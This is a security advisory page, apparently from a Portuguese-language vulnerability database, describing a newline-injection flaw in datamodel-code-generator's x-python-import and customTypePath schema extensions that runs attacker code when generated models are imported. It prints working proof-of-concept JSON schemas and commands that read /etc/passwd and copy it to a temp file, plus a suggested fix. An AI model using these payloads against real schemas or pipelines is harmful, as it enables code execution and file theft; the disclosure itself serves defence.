PT-2026-65642 · Pypi · Datamodel-Code-Generator

Publicado

2026-07-28

·

Atualizado

2026-07-28

CVSS v3.1

7.5

Alta

VetorAV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from full path and Imports.create line:
  • src/datamodel code generator/imports.py:35from full path() only does class path.split(".") and preserves every other character, including newlines:
python
@classmethod
@lru cache
def from full path(cls, class path: str) -> Import:
  split class path: list[str] = class path.split(".")
  return cls(import =split class path[-1], from =".".join(split class path[:-1]) or None)
  • src/datamodel code generator/imports.py:64create line() renders the result verbatim:
python
def create line(self, from : str | None, imports: set[str]) -> str:
  if from :
    return f"from {from } import {', '.join(self. set alias(from , imports))}"
  return "
".join(f"import {i}" for i in self. set alias(from , imports))
There is no check that the path segments are Python identifiers, contrast validators. validate dotted python identifier path, which the same v0.61.0 release added for the validators config, and types.is python type annotation, added for x-python-type. The two extensions below were left unguarded.
Two schema-controlled, default-config entry points reach this sink:
  1. x-python-importsrc/datamodel code generator/parser/jsonschema.py:1851-1858 (get ref data type):
python
x python import = ref schema.extras.get("x-python-import")
if isinstance(x python import, dict):
  module = x python import.get("module")
  type name = x python import.get("name")
  if module and type name:
    full path = f"{module}.{type name}"
    import = Import.from full path(full path)
    self.imports.append(import )
  1. customTypePath — declared at src/datamodel code generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get data type from full path(custom type path, is custom type=True) → the same Import.from full path sink.
Mechanism. With name = "getcwd print(...)", full path = "os.getcwd print(...)". from full path splits only on ., so (provided the injected statement contains no .) it yields from ="os" and import ="getcwd print(...)". create line then emits:
python
from os import getcwd
print(...)    # ← attacker statement at module scope, executes on import
The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).
None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).
payload a.json:
json
{
 "type": "object",
 "title": "Root",
 "required": ["f"],
 "properties": { "f": { "$ref": "#/$defs/Evil" } },
 "$defs": {
  "Evil": {
   "type": "object",
   "x-python-import": {
    "module": "os",
    "name": "getcwd
print(*open('/etc/passwd'),file=open('/tmp/dmcg xpi loot','w'),sep='',end='')"
   }
  }
 }
}
Generate and import:
bash
datamodel-codegen --input payload a.json --input-file-type jsonschema --output model.py
python -c "import model"
Generated model.py (verbatim, the breakout sits at module scope):
python
from  future  import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg xpi loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg xpi loot', 'w'), sep='', end='')
from pydantic import BaseModel
...
Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg xpi loot:
$ head -1 /tmp/dmcg xpi loot
root:x:0:0:root:/root:/bin/bash
Confirmed under both the default output (pydantic v1) and --output-model-type pydantic v2.BaseModel. The customTypePath variant reproduces identically:
json
{ "type":"object","title":"Root","required":["f"],
 "properties":{ "f":{ "type":"object",
  "customTypePath":"os.getcwd
print(*open('/etc/passwd'),file=open('/tmp/dmcg ctp loot','w'),sep='',end='')" }}}
A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload a.json, payload b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).
Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators. validate dotted python identifier path), and/or reject non-identifier paths centrally inside Import.from full path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1
Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.
Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.
Validation: uv run --group test --extra http pytest tests/main/jsonschema/test main jsonschema.py tests/parser/test jsonschema.py passed locally; uv run --group fix ruff check src/datamodel code generator/parser/jsonschema.py tests/main/jsonschema/test main jsonschema.py passed.
Submitted by: Hamza Haroon (thegr1ffyn)

Correção

Code Injection

Eval Injection

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-5578-W22F-PFX9

Produtos afetados

Datamodel-Code-Generator